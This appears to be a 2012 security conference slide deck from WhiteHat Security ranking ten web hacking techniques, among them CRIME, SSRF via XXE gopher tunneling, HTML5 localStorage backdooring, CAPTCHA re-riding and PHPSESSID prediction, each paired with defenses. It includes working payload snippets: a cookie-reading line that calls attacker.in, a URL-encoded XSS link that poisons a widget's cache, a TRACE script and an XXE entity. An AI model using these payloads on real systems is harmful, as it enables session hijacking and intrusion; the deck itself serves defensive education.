Top Ten Web Hacking Techniques of 2012

TOP TEN WEB HACKING TECHNIQUES OF 2012

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Jeremiah Grossman

• Head of WhiteHat's Threat Research Center• BlackHat, DEFCON, RSA Speaker• Oversees assessment of 15,000+ websites• Background in Penetration Testing• Hacker turned Management• I'm hiring… a lot…

© 2013 WhiteHat Security, Inc.

ABOUT

Matt Johansen

• Founder & CTO of WhiteHat Security • TED Alumni• InfoWorld Top 25 CTO• Co-founder of the WASC• Co-author: XSS Attacks• Former Yahoo! information security officer• Brazilian Jiu-Jitsu Black Belt

© 2013 WhiteHat Security, Inc. 3

WhiteHat Security, Inc.• Founded 2001

• Head quartered in Santa Clara, CA

• Employees: 260+

• WhiteHat Sentinel: SaaS end-to-end website risk management platform (static and dynamic analysis)

• Customers: 500+ (banking, retail, healthcare, etc.)

ABOUT

4

ABOUT THE TOP TEN


5

“Every year the security community produces a stunning

amount of new Web hacking techniques that are

published in various white papers, blog posts, magazine

articles, mailing list emails, conference presentations,

etc. Within the thousands of pages are the latest ways

to attack websites, Web browsers, Web proxies, and

their mobile platform equivalents. Beyond individual

vulnerabilities with CVE numbers or system

compromises, here we are solely focused on new and

creative methods of Web-based attack.”



Past Years

HISTORY

• BEAST2011

(51 new techniques)

• 'Padding Oracle' Crypto Attack2010(69 new techniques)

• Creating a rogue CA certificate2009(80 new techniques)

• GIFAR (GIF + JAR)2008(70 new techniques)

• XSS Vulnerabilities in Common Shockwave Flash Files

2007(83 new techniques)

• Web Browser Intranet Hacking / Port Scanning

2006(65 new techniques)


56 NEW Techniques1. CRIME2. Pwning via SSRF (memcached, php-fastcgi, etc)3. Chrome addon hacking4. Bruteforce of PHPSESSID5. Blended Threats and JavaScript6. Cross-Site Port Attacks7. Permanent backdooring of HTML5 client-side application8. CAPTCHA Re-Riding Attack9. XSS: Gaining access to HttpOnly Cookie in 201210.Attacking OData: HTTP Verb Tunneling, etc.

THE YEAR 2012

http://blog.whitehatsec.com/top-ten-web-hacking-techniques-of- 2012/


Attacking Odata:HTTP Verb Tunneling, Navigation Properties for Additional Data Access,System Query Options ($select)

2012 TOP TEN

10“The Open Data Protocol (OData) is an open web protocol for querying and updating data. OData enables the creation of HTTP-based RESTful data services that can be used to publish and edit resources that are identified using uniform resource identifiers (URIs) with simple HTTP messages. This paper looks at OData from a penetration testing perspective and introduces various OData concepts as we progress.”

Gursev Singh Kalrahttp://www.mcafee.com/us/resources/white-papers/foundstone/wp-pentesters-guide-to-hacking-odata.pdf


XSS: Gaining accessto HttpOnly Cookie in 2012

2012 TOP TEN

9‘If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client side script. As a result, even if a cross-site scripting (XSS) flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser will not reveal the cookie to a third party. The following describes techniques to gain access to HttpOnly cookie data via client-side attack.”

http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html


HttpOnly cookie flag

BASICS

https://www.owasp.org/index.php/HttpOnly

Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]

js> alert(document.cookie);When a cookie has an HttpOnly cookie flag the returned value is blank.


CROSS-SITE TRACING (XST) [circa 2003]

HISTORY

Performing an XST attack, at the time, required either a cross-domain browser vulnerability, or an XSS vulnerability in the target website.

https://www.owasp.org/index.php/Cross_Site_Tracinghttp://www.cgisecurity.com/lib/WH-WhitePaper_XST_ebook.pdf

TRACE / HTTP/1.1Host: foo.bar

HTTP/1.1 200 OKDate: Mon, 02 Dec 2002 19:24:51 GMTServer: Apache/2.0.40 (Unix)Content-Type: message/httpTRACE / HTTP/1.1Host: foo.comCookie: httpOnly cookie value

<script> var xmlhttp = new XMLHttpRequest(); var url = 'http://foo.com/';

// send cookie header xmlhttp.withCredentials = true; xmlhttp.open('TRACE', url, false); xmlhttp.send();</script>

Force cookie values into the body of the HTTP response where there is no HttpOnly protection.


No TRACE (No TRACK)

BROWSER FIX

Today, no modern browser allows javascript to use these HTTP request methods.

The same is true of Flash, Silverlight, and Java Applets. Well, almost…


Java Applet (PoC)

XST 2012

“…a vulnerable page in a real-world application may have already issued the HttpOnly cookie by the time the script has executed.”

getHeaderField, under the java.net.URLConnection packageApplet requests a URL and reads set-cookie response header

alert(new java.net.URL('http://attacker.in/xss/cookie.php').openConnection().getHeaderField('set-cookie'));

http://www.slideshare.net/jeremiahgrossman/breaking-browsers-hacking-autocomplete-blackhat-usa-2010

Might also be able force out all cookies by overloading them. Cookie Exhaustion.


SOLUTION

UNINSTALL JAVA[on the client, not the server]

For this and about 1,000 other [zero-day] reasons.


CAPTCHARe-Riding Attack

2012 TOP TEN

8“CAPTCHA Re-Riding Attack bypasses the CAPTCHA protection built into the web applications. The attack exploits the fact that the code that verifies CAPTCHA solutions sent by the user during form submissions does not clear the CAPTCHA solution from the HTTP Session.”

Gursev Singh Kalrahttp://gursevkalra.blogspot.com/2012/03/captcha-re-riding-attack.html

Completely Automated Public Turing test to tell Computers and Humans Apart


CAPTCHA Protected Registration Flow

BASICS


What to look for…

TELLTALE SIGNS

1) captcha.php is responsible for updating the HTTP session with correct CAPCHA solution.

2) CAPTCHA solution inside the HTTP session is not explicitly cleared during the verification process.

3) After registration succeeds, users are redirected to next step and the CAPTCHA generation page (/captcha.php) is not likely called for current SESSION again. Allows CAPTCHA solution to stay stored for as long as SESSION is valid.

Two possible vulnerable behavior:

a. Web application uses the same SESSIONID for the same HTTP session.

b. Web application generates a new SESSIONID for the same HTTP session.

In either case, the HTTP Session continues to store the CAPTCHA solution as it is not explicitly cleared by the CAPTCHA verification code….


3a)

ATTACK

1) Load the register page of the target website in a web browser.

2) Solve the CAPTCHA manually and submit the form.

3) Record form submission using a web proxy. This request contains a valid SESSIONID, valid form fields, and a valid CAPTCHA solution.

4) Create a custom script that repeatedly sends this request to the server. With each request change the unique values (like User ID) to create multiple new accounts with a single CAPTCHA solution.


3b)

ATTACK

1) Load the register page of the target website in a web browser.

2) Solve the CAPTCHA manually, and submit the form.

3) Trap this request in a web proxy and do not allow it to reach the web server. This request contains a valid SESSIONID, valid form fields and a valid CAPTCHA solution.

4) Create a custom script that repeatedly sends this request to server.

5) Submit one request.

6) Upon successful submission, the web application will reset the current SESSIONID and send new SESSIONID back in response headers.

7) Change the value of SESSIONID in recorded request (step 3) to the value copied from response in Step 6 above.

8) Go to step 5.

9) Able to make multiple successful submissions with single CAPTCHA solution.


DEFENSE

“The best defense is to reset CAPTCHA solution inside the HTTP session during the CAPTCHA verification stage. It is also important to note that when a website relies on third-party CAPTCHA provider, it does not maintain any session information at its end and CAPTCHA is performed by the CAPTCHA provider. These websites are not vulnerable to CAPTCHA Re-Riding Attack.”


Permanent backdooringof HTML5 client-side application

2012 TOP TEN

7“To improve performance, particularly for mobile users, many websites have started caching app logic on client devices via HTML5 local storage. Unfortunately, this can make common injection vulnerabilities even more dangerous, as malicious code can invisibly persist in the cache. Real-world examples of this problem have now been discovered in third-party “widgets” embedded across many websites, creating security risks for the companies using such services – even if their sites are otherwise protected against attacks.”

Joey Tysonhttp://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website


What to watch out for…

PREREQUISITES

• A Web application caching [javascript] code in HTML5 local storage, rather than routinely downloading it across the network every time the app/page is visited. Developers find doing this may provide a significant performance boost, particularly on mobile devices, where bandwidth and typical caches can be much more limited.

What the bad guy may do next…• If the code saved in the local storage is compromised, via XSS exploit for example,

an attacker could inject malicious code that persists in the client-side cache. This payload would then be executed by the web app each time a user opens the site – even if they’d previously closed the browser. A single “reflected” XSS attack can poison the local storage for every following page the user visits on that site.


MASS PWNAGE

• Eradicating such [malicious] code can be quite difficult, and the victim website might not even be able to detect an ongoing attack.

• Reminder: When a developer includes third-party JavaScript on his or her site, that code has the same capabilities as any other script on the page.

• Modifying static file on a remote server is generally not possible, even if cross-site scripting issues are present, but what if a third-party script from a site with XSS problems also stored code in local storage?

Making Matters Worse:

http://events.ccc.de/congress/2011/Fahrplan/events/4811.en.htmlhttp://jeremiahgrossman.blogspot.com/2010/07/third-party-web-widget-security-faq.html

“If content from the compromised origin is commonly embedded on third-party pages (think syndicated ‘like’ buttons or advertisements), with some luck, attacker’s JavaScript may become practically invincible.”- Michal Zalewski


IN-THE-WILD

• Provided pop-up boxes for exploring content related to highlighted terms in a page.

• A 3rd-party “widget” service that used local storage code caching – and a page on the same domain as those scripts had a reflected XSS vulnerability which could be used to inject malicious code in the cache. This code would then be executed in the context of the site using Apture. The problem with Apture’s service affected the security of many sites across the web.

Apture (acquired by Google):


USAGE

To use Apture widgets:

• Dynamically loaded an external script hosted on apture.com with a site token specified. This code loaded another script based on the user’s browser which actually began setting up the framework for Apture to integrate with the site’s content.

• The script inserted an inline frame into the page that loaded a file from cdn.apture.com. A callback function allowed this iframe to pass messages back to the original window context where the script is running (the non-Apture site). This iframe then loaded the actual app logic and passed the code back to the original site via the cross-document messaging interface.

• Apture’s iframe setup allowed them to take advantage of another HTML5 innovation that made their service load much faster. Web storage functionality provides the localStorage object, a place to save key/value data on the client which allows for more space and flexibility than cookies.

• Apture used a localStorage object for cdn.apture.com not only to save data, such as an ID for tracking users, but to actually cache their app logic code. If the cdn.apture.com iframe detected that this cache already existed, it would simply load the code from localStorage rather than issue another HTTP request for the 272KB worth of JavaScript – saving time and bandwidth.


EXPLOITATION

EVAL is EVIL

Like everyone else, Apture had an exploitable XSS vulnerability. This URL includes a script that appends “alert(document.cookie)” to the app logic in localStorage:

http://cdn.apture.com/search/xss?yt=%22%3E%3Cscript%3Eif%28window.x%21%3D1%29%7BlocalStorage%5B%27app-49971756%27%5D%3DlocalStorage%5B%27app-49971756%27%5D%2b%22alert%28document.cookie%29%3B%22%7Dwindow.x%3D1%3C%2fscript%3E

Once this vulnerability is used to insert attack code into localStorage, visiting any site that had Apture’s widgets would cause the attack code to be loaded from the Apture iframe and executed in the context of the non-Apture site. Since this is essentially an example of DOM-based XSS (the code is loaded dynamically on the client side), requests sent to those sites’ servers would not include any XSS fingerprints, such as <script> in a GET or POST parameter.

The localStorage code caching turned one reflected XSS vulnerability on Apture’s site into persistent, client-side XSS across all domains using their service.


DEFENSE

No Simple Answers Trade-offs between performance and risk

• Application cache, another new HTML5 features, is actually geared towards precisely this use case and harder to compromise, but it can create UI warnings in some browsers [Firefox]. (Such warnings are a good practice, but undesirable for third-party widgets.)

• Data in local storage should be treated as untrusted, even if it’s just content instead of code.

• If local storage is used for scripts, it should be accessed from a domain only serving static files, which reduces the likelihood of XSS vulnerabilities.

• Newer browsers also support features such as sandboxed inline frames and Content Security Policy that could help limit the impact of embedded widgets if they became compromised.


Cross-SitePort Attacks

2012 TOP TEN

6“Many web applications provide functionality to pull data from other webservers for various reasons. Using user specified URLs, web applications can be made to fetch images, download XML feeds from remote servers, text based files etc. This functionality can be abused by making crafted queries using the vulnerable web application as a proxy to attack other services running on remote/local servers. Attacks arising via this abuse of functionality are named as Cross-Site Port Attacks (XSPA).”

“Riyaz Ahemed Walikarhttp://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html

Robert Hansenhttp://www.sectheory.com/intranet-hacking.htm


3-TIER

XSPA allows attackers to abuse functionality in web applications to:

1. Port Scan remote Internet facing servers, intranet devices and the local web server itself.

2. Exploiting vulnerable programs running on the Intranet or on the local web server

3. Attacking internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.)

4. Fingerprinting intranet web applications using standard application default files & behavior

5. Reading local web server files using the file:/// protocol handler.


TELLTALE SIGN


CODE SAMPLE

<?php

if (isset($_POST['url']))

{

$link = $_POST['url'];

$filename = './curled/'.rand().'txt';

$curlobj = curl_init($link);

$fp = fopen($filename,"w");

curl_setopt($curlobj, CURLOPT_FILE, $fp);

curl_setopt($curlobj, CURLOPT_HEADER, 0);

curl_exec($curlobj);

curl_close($curlobj);

fclose($fp);

$fp = fopen($filename,"r");

$result = fread($fp, filesize($filename));

fclose($fp);

echo $result;

?>


REAL-WORLD ATTACK

Port Scanning using Google Webmaster Tools


ATTACK



ATTACK



ATTACK

Reading local files using file:/// protocol

Request: file:///C:/Windows/win.ini


ATTACK

Adobe's Omniture web application file:///etc/passwd


DEFENSE

• Response Handling: If a web application expects specific content type on the server, programmatically ensure the data received satisfies checks imposed on the server before displaying or processing the data for the client.

• Error handling and messages: Display generic error messages when something goes wrong. If content type validation fails, display generic errors to the client like "Invalid Data retrieved". Also ensure message are the same when the request fails on the backend and if invalid data is received. This prevents the application from being abused as distinct error messages will be absent for closed and open ports.

• Restrict connectivity to HTTP based ports: Restrict the ports to which the web application can connect to, such as HTTP ports: 80, 443, 8080, 8090 etc. Doing so can lower the attack surface.

• Blacklist IP addresses: Internal IP addresses, localhost specifications and internal hostnames can all be blacklisted to prevent the web application from being abused to fetch data/attack these devices.

• Disable unwanted protocols: Only allow http and https to make requests to remote servers. Whitelisting these protocols will prevent the web application from making requests over other protocols like file:///, gopher://, ftp:// and other URI schemes.


Blended Threatsand JavaScript

2012 TOP TEN

5“During 2006, it was shown how common Web browser attacks could be leveraged bypass perimeter firewalls. In the years since, the fundamental problems were never addressed and the Intranet remains wide open, probably because the attack techniques described had important limitations. These limitations prevented mass scale and persistent compromise of network connected devices, which include but are not limited to home broadband routers. Now in 2012, with the help of new research and next-generation technologies like HTML5, browser-based Intranet attacks have overcome many of the old limitations and improved to a new degree of scary.”

Phil Purviance and Josh Brasharshttps://superevr.com/blog/2012/blended-threats-and-javascript/


Web Threats -> Network Compromise• Utilize an XSS bug to poke holes in Intranet network

• Take advantage of very outdated security in routers

• Flash the firmware of that router via XSS, File Upload Abuse, & CSRF

• Permanent compromise

BASICS


Scan The Intranet

THE ATTACK

JavaScript Intranet scan, nothing new or fancy but does return a list of internal Ips that are up and listening.

Yay HTML5!


Gain Access

THE ATTACK

The easy way


Real World Examples


Gain Access

THE ATTACK

The less easy way


Basic Auth Brute Force


HTML5 File Upload

Load Malicious Firmware to memory

EXPLOIT

https://github.com/superevr/ddwrt-install-tool


Router• Change default passwords!

DEFENSE

Browser• NoScript, Request Policy, Other XSS & CSRF protections


Bruteforceof PHPSESSID

2012 TOP TEN

4“...We provide a number of practical techniques and algorithms for exploiting randomness vulnerabilities in PHP applications. We focus on the predictability of password reset tokens and demonstrate how an attacker can take over user accounts in a web application via predicting or algorithmically derandomizing the PHP core randomness generators.”

George Argyros and Aggelos Kiayiashttp://crypto.di.uoa.gr/CRYPTO.SEC/Randomness_Attacks_files/paper.pdfhttp://crypto.di.uoa.gr/CRYPTO.SEC/Randomness_Attacks.html

Arseny Reutov, Timur Yunusov, and Dmitry Nagibinhttp://blog.ptsecurity.com/2012/08/not-so-random-numbers-take-two.html


PHPSESSID =

• client IP is known to the attacker;• timestamp is known through Date HTTP-header;• microseconds1 – a value from 0 to 1000000;• php_combined_lcg() – an example value is 0.12345678.

BASICS

md5( client IP . timestamp . microseconds1 . php_combined_lcg() )

• timestamp is the same;• microseconds2 is greater than microseconds1 (when the first time measurement was made) by 0–

3;• pid is the id of the current process (0–32768, 1024–32768 on Unix);• microseconds3 is greater than microseconds2 by 1–4.

To generate php_combined_lcg(), two seeds are used:S1 = timestamp XOR (microseconds2 << 11)S2 = pid XOR (microseconds3 << 11)

“The greatest entropy is contained in microseconds1, however with the use of two techniques it can be substantially reduced.”


Adversarial Time Synchronization

1) Connect to a web server and send request pairs: 1st to a non-existent page so it’ll take a minimum time for the web-server to return the response. The 2nd to our target web-application.

2) Get an average time interval between sending an HTTP request and receiving the response (= RTT)

3) When the seconds in Date HTTP-header of the two requests changed approximate the time of remote microseconds in local time using RTTs of the two requests divided by two and offsetting the delay between requests.

4) If session_start() is called somewhere deeper in the code, you may try to install the web-app locally and get the approximate time when it is called.

TECHNIQUE 1

ATS: Send a pair of HTTP requests to determine the moment when the second in the Date HTTP header changes.

“...the microseconds between our requests zeroed. By sending requests with dynamic delays it is possible to synchronize local value of microseconds with the server one.”

HTTP/1.1 200 OKDate: Wed, 08 Aug 2012 06:05:14 GMT…HTTP/1.1 200 OKDate: Wed, 08 Aug 2012 06:05:15 GMT


Request Twins

TECHNIQUE 2

Attacker send two requests: the 1st — to reset their own password and the 2nd — to reset that of an administrator. The gap between microseconds will be minimal.

16 million hashes per second, seed calculation takes less than an hour on 3.2 GHz Quad Core i5. Having pid and php_combined_lcg one can compute the seed used in mt_rand. (timestamp x pid) XOR (106 x php_combined_lcg())

“if a web application uses standard PHP sessions, it is possible to obtain the random numbers generated via mt_rand(), rand(), and uniqid().”

To increase speed over the PasswordPro module by taking advantage of positive linear correlation between deltas of microseconds, they created their own application.


Get mt_rand seed through random numbers leakage

TECHNIQUE 3

“The seed used for mt_rand is an unsigned integer 2^32. If a random number leaked, it is possible to get the seed using PHP itself and rainbow tables. It takes less than 10 minutes.”

The scripts to generate rainbow tables, search the seed, and ready-made tableshttp://www.gat3way.eu/poc/mtrt/


What to look for and code defense

SOLUTIONS

“All the mt_rand(), rand(), uniqid(), shuffle(), lcg_value(), etc. The only secure function is openssl_random_pseudo_bytes(), but it is rarely used in web applications.”

• MySQL function RAND() — it can be also predicted though.• Suhosin patch — does not patch mt_srand, srand. The Suhosin extension should

also be installed.• /dev/urandom — the securest way.


Chrome addon hacking

2012 TOP TEN

3“Webpages can sometimes interact with Chrome addons and that might be dangerous. Chrome addons fingerprinting, universal XSS, bypass AdBlock, Chrome Extension Exploitation Framework, and owning a system.”

“Krzysztof Kotowiczhttp://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.htmlhttp://blog.kotowicz.net/2012/02/chrome-addons-hacking-want-xss-on.htmlhttp://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.htmlhttp://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.htmlhttp://blog.kotowicz.net/2012/09/owning-system-through-chrome-extension.html


HISTORY

Hacking Google ChromeOS“Googleʼs drive to move away from the desktop, and into the cloud results in desktop applications being replaced with HTML5 & JavaScript rich extensions. These new “desktop programs” seem to be more secure, because they do not have the classic vulnerabilities that desktop applications end services have--buffer/stack/heap overflows/underflows, format string attacks, plus many more. Since exploitation no longer leads to shell, the real dangers and implications of any exploit seem to be mitigated.

Unfortunately, this is not true. HTML and Javascript applications (Chrome Extensions) are now vulnerable to standard HTML and Javascript attacks. The most serious, in this situation, is Cross Site Scripting. By utilizing an XSS vulnerability in an extension, an attacker can pivot from that extension, and take advantage of the permissions given to it to attack and gain access to user information loaded in other tabs.”

-Matt Johansen & Kyle Osborn

BlackHat 2011 WhitePaper


BASICS

Why Chrome Extensions?• Basic HTML applications

• Access to extensive APIs

• Permissions set by 3rd party Dev

• Manifest.json

• Sandbox side-step

Exploitation• Universal XSS via 1 extension bug

• chrome.tabs, chrome.history, chrome.cookies, chrome.proxy, API access make for powerful attacks

• Filesystem access and remote code execution made easy


APPLICATION

BeEF & ChEF• You’ve found XSS in an extension, utilized it to exploit Javascript in any tab.

Now what? Browser Exploitation Framework & Chrome Extension Exploitation Framework

• BeEF – Metasploit of the web. Makes reflective XSS more persistent and able to replay exploits

• ChEF – BeEF for Chrome Extensions.

• Monitor current sessions / open tabs

• Execute JavaScript on any site in any tab

• Access localStorage

• Read / write cookies

• Manipulate browser history

• Take screenshots

• Inject BeEF hooks to utilize their payloads and exploits


ChEF Console

CHEF


XSS Everywhere• If an extension’s ‘manifest.json’ file has permissions set to ‘*’

you can execute JavaScript anywhere in the browser with ‘chrome.tab.executeScript’

• Bypass AdBlock:

EXPLOITATION

By altering the DOM you can create a global whitelist


DEFENSE

Beware


Pwning via SSRF(memcached, php-fastcgi, etc)

2012 TOP TEN

2“SSRF, as in Server-Side Request Forgery. A great concept of the attack which was discussed in 2008 with very little information about theory and practical examples. The idea is to find victim server interfaces that will allow sending packets initiated by victim's server to the localhost interface of the victim server or to another server secured by firewall from outside. We have found various SSRF vulnerabilities which allow internal network port scanning, sending any HTTP requests from server, bruteforcing backed and more but the most powerful technique was XXE Tunneling.”

Alexander Polyakovhttp://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_WP.pdfhttp://erpscan.com/press-center/blog/ssrf-via-ws-adressing/http://erpscan.com/wp-content/uploads/2012/11/SSRF.2.0.poc_.pdf


HISTORY

SSRF (CIRCA 2008)“The first example of SSRF is an SMBRelay attack discussed by Deral Heiland at Shmoocon in 2008 entitled, “Web Portals Gateway To Information Or A Hole In Our Perimeter Defenses.” Some web-interfaces on corporate portals allow loading any external resource like an iframe. The difference was that Web interface allows loading files from other HTTP sources. It was done by portlets that were designed to deliver to the user the requested information that the user cannot access directly. The portlet runs a transaction to a connected system and then runs its response with information to the portal user. These portlets makes portal a single point of access to internal resources. This was a great example of SSRF attack via URL parameter of vulnerable portlet.”

…

“Later, other examples of SSRF attacks were shown. Same ideas, but attack was executed through XML External Entity vulnerability. “


BASICS

Attack Flow• Send Packet A to Service A

• Service A initiates Packet B to Service B

• Services can be on the same host or on different hosts

• We can manipulate some fields of Packet B within Packet A

• Various SSRF attacks depend on how many fields we can control in Packet B

Exploitation• Vulnerabilities like File Include, SQL Injection, XML External Entity or any other

vulnerability that allows executing commands that initiate calls to remote systems.

• Through enhanced rights in an application, when you can call HTTP pages or UNC paths or use trusted connections.


CLASSIFICATION

Many classes of SSRF attacks (complicated)• Trusted SSRF: Send requests (Packet B) to remote services, but only to those

which are somehow predefined.

• Remote SSRF: Requests (Packet B) to any remote IP and port. This type has 3 subtypes depending on how much data we can control:

• Simple Remote SSRF: No control on application level of Packet B

• Partial Remote SSRF: Control on some fields of application level of Packet B

• Full Remote SSRF: Full control on application level of Packet B


EXAMPLES

Trusted SSRF attacks

MSSQL: Need at least public rights to use MSSQL trusted links. Links can be with predefined passwords. The attacker can use them in Host A to forge requests and obtain responses from Host B.

Select * from openquery(HostB,'select * from @@version')]

Oracle: Links can be with predefined passwords. The attacker can use them to forge requests and obtain responses from host B.

SELECT * FROM myTable@HostB

EXECUTE mySchema.myPackage.myProcedure('someParameter')@HostB


EXAMPLES

Simple Remote SSRF SAP NetWeaver ipcpricing: Scan an internal network from the Internet by sending different HTTP requests to JSP pages.

/ipcpricing/ui/BufferOverview.jsp?server=172.16.0.13&port=31337&dispatcher=&targetClient=


XXE TUNNELING

Partial Remote SSRFXXE Tunneling (via Gopher): XML External Entity (XXE) is a very popular vulnerability in XML Parser. External entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems.

• Makes a TCP connection with 172.16.0.1 and port 3300 and then send a packet containing string 23456789 (the first symbol will be cut).

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY date SYSTEM “gopher://172.16.0.1:3300/AAAAAAAAA" >]>

<foo>&date;</foo>


DIAGRAM


ADVANCED

XXE Tunneling to Buffer Overflow• A buffer overflow vulnerability found by Virtual Forge in ABAP Kernel (fixed in sapnote

1487330)

• Shellcode size is limited to 255 bytes (name parameter)

• As we don’t have direct connection to the Internet from the vulnerable system, we want to use DNS tunneling shellcode to connect back


PACKET B


PACKET A

Insert Packet B into Packet A • We need to insert non-printable symbols. Gopher supports urlencode like HTTP

• Also help evade attack against IDS systems


FULL CONTROL


COUNTER-ATTACK

SSRF back connect attackWe send a command from Server A to our Server C using SSRF, and then we generate a response which will trigger a vulnerability in an application from Server A.

SMB client

• DoS by reading huge files remotely

• SMBRelay

• RCE Vulnerabilities in SMB client

Memory corruption vulnerabilities in FTP client

Client path traversal

JAR parser

mailto: parser

HTTP client

• DoS by multiple entities with links to big data

• DoS by multiple GZIP bomb


CRIME

2012 TOP TEN

1 “Compression Ratio Info-leak Made Easy (CRIME) is a security exploit against secret web cookies over connections using the HTTPS and SPDY protocols that also use data compression. When used to recover the content of secret authentication cookies, it allows an attacker to perform session hijacking.”

Juliano Rizzo and Thai Duonghttp://netifera.com/research/crime/CRIME_ekoparty2012.pdfhttp://en.wikipedia.org/wiki/CRIME_(security_exploit)http://arstechnica.com/security/2012/09/crime-hijacks-https-sessions/


CRIME

BASICS

Decrypts HTTPS traffic to steal cookies and hijack sessions. Requirements to become a victim:

1) Attacker can sniff your network traffic.2) Victim visits evil.com3) Both the browser and server support any

version of TLS compression or SPDY

Gmail, Twitter, Dropbox, GitHub, etc.“42% of sites surveyed by his service support TLS compression.” Ivan Ristic https://www.ssllabs.com/index.html

*Previously Vulnerable

Never Vulnerable


SIDE-CHANNEL

CRIME: Chosen Plaintext Attack

• Compression reduces the number of bytes contained in a data stream by removing redundant bits. A side effect of compression is it leaks clues about the encrypted contents, providing a "side channel" to those with the ability to monitor the data.

• By modifying the clear-text payload hundreds or thousands of times and watching how each one interacts with the encrypted data, attackers can deduce its contents.

• An encrypted message is combined with attacker-controlled JavaScript that, letter by letter, performs a brute-force attack on the secret key. When it guesses the letter X as the first character of the cookie secret, the encrypted message will appear differently than an encrypted message that uses W or Y.

• Once the first character is correctly guessed, the attack repeats the process again on the next character in the key until the remainder of the secret is deduced. The use of JavaScript isn't necessary, but does make the brute-force attack faster.

http://arstechnica.com/security/2012/09/crime-hijacks-https-sessions/


ATTACK FLOW

"Basically, the attacker is running script in Evil.com. He forces the browser to open requests to Bank.com by, for example, adding <img> tags with src pointing to Bank.com," Rizzo said. "Each of those requests contains data from mixed sources.”

In these requests, attacker data and data produced by the browser is compressed and mixed together. Those requests can include the path, which the attacker controls, the browser's headers, which are public, and the cookie, which should be secret.

http://threatpost.com/en_us/blogs/crime-attack-uses-compression-ratio-tls-requests-side-channel-hijack-secure-sessions-091312

"The problem is that compression combines all those sources together," Rizzo added. "The attacker can sniff the packets and get the size of the requests that are sent. By changing the path, he could attempt to minimize the request size, i.e., when the file name matches the cookie."


DEMO

https://www.youtube.com/watch?v=gGPhHYyg9r4

Video demo shows Github.com, Dropbox.com, and Stripe.com, when visited with a then-patched version of Chrome, succumbing to the CRIME attack. All three of disabled compression and no longer vulnerable.


Browser

DEFENSE

Upgrade browsers to the latest version.

ServerDisable compression.

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WHAT WE’VE LEARNED



LESSONS

• What’s old is new and improved: Many Web attack techniques from previous years, including those not appearing on the Top Ten, are constantly being improved. Researchers leverage new technology functionality and combine previously known techniques and produce combinations.

• 3-Peat: Encryption related attack techniques, by Juliano Rizzo and Thai Duong, took the #1 spot 3 years in a row (BEAST in 2011 and Padding Oracle in 2010). Web security community respects deep technical research.

• Attack and Researcher Diversity: In 2012 we saw attack techniques focused on encryption, HTML5 / client-side, mobile, infrastructure server-side, intranet, session state, etc. The range of expertise to keep up with all the new cutting-edge research is at the very least, a full-time job. And the researchers themselves are located across the globe.

JEREMIAH GROSSMANFounder and CTO

Twitter: @jeremiahgEmail: [email protected]

• All Web security researchers

• Panel of Judges: Ryan Barnett, Robert Auger, Robert Hansen (CEO, Falling Rock Networks) Dinis Cruz, Jeff Williams (CEO, Aspect Security), Peleus Uhley, Romain Gaucher (Lead Researcher, Coverity), Giorgio Maone, Chris Wysopal, Troy Hunt, Ivan Ristic (Director of Engineering, Qualys), and Steve Christey (MITRE)

• Everyone in the Web security community who assisted with voting

Thank you to…

MATT JOHANSENHead of the Threat Research Center

Twitter: @mattjayEmail: [email protected]

Technology

Top Ten Web Hacking Techniques of 2012